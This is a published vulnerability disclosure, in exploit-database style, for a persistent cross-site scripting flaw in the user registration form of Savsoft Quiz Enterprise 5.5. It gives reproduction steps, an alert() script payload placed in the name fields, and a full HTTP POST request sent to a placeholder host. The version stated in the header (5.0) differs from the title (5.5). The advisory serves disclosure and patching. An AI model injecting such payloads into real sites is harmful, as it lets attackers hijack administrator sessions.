Savsoft Quiz Enterprise Version 5.5 - Persistent Cross-Site Scripting

# Exploit Title: Savsoft Quiz Enterprise Version 5.5 - Persistent Cross-Site Scripting
# Date: 2020-09-01
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://savsoftquiz.com/
# Software Link: https://savsoftquiz.com/web/demo.php
# Version: 5.0
# Tested on: Windows 10/Kali Linux
# Contact: https://www.linkedin.com/in/hemantsolo/

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: First Name, Last Name
1. Go to the registration page.
2. Fill all the details  and put this payload in First and Last Name "<script>alert("OPPS")</script>"
3. Now go to the admin panel and the XSS will be triggered.

POST /savsoftquiz_v5_enterprise/index.php/login/insert_user/ HTTP/1.1
Host: TARGET
Connection: close
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://savsoftquiz.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://TARGET/savsoftquiz_v5_enterprise/index.php/login/registration/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.757300437.1598544895; _gid=GA1.2.1240991040.1598544895; ci_session=mm5q58p28e620n9im0imeildnvabkoeg

email=hemantpatidar1337%40gmail.com&password=test&first_name=<script>alert("OPPS")</script>&last_name=<script>alert("OPPS")</script>&contact_no=0000000000&gid%5B%5D=1